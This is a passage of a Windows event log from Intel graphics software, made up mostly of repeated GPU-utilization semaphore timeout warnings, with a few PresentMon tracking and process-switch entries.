semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:43.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.065\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:44.845\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:45.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:45.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:46.074\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:46.518\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:46.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.627\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:47.850\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:48.074\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:48.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.177\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.621\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:49.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:50.177\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:50.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:50.716\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:51.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:52.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:52.279\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:52.284\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"StartMenuExperienceHost\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:57.653\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:57.657\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:57.991\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:58.213\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:58.434\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:59.214\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:59.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:55:59.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:00.549\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:00.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.327\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.768\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:01.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:02.219\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:02.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:03.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:03.315\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:03.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:04.425\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:04.867\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:05.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:05.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:05.868\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:06.760\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:07.761\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:08.762\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:08.986\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:09.314\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:09.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:09.980\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:10.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:10.963\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:11.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:12.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:12.736\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:12.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:13.626\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:13.851\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:14.629\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:15.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:16.183\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:16.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:16.959\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:17.292\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:17.516\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:18.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:18.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:19.301\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:19.850\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:20.075\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:20.632\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:20.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:21.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:21.514\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:21.962\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:22.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:22.967\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.187\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.410\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.631\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:23.853\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.078\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:24.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.160\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.368\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.697\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:25.903\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:27.459\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:27.792\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.021\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.573\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:28.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.011\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.432\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.650\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:29.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.192\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:56:30.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 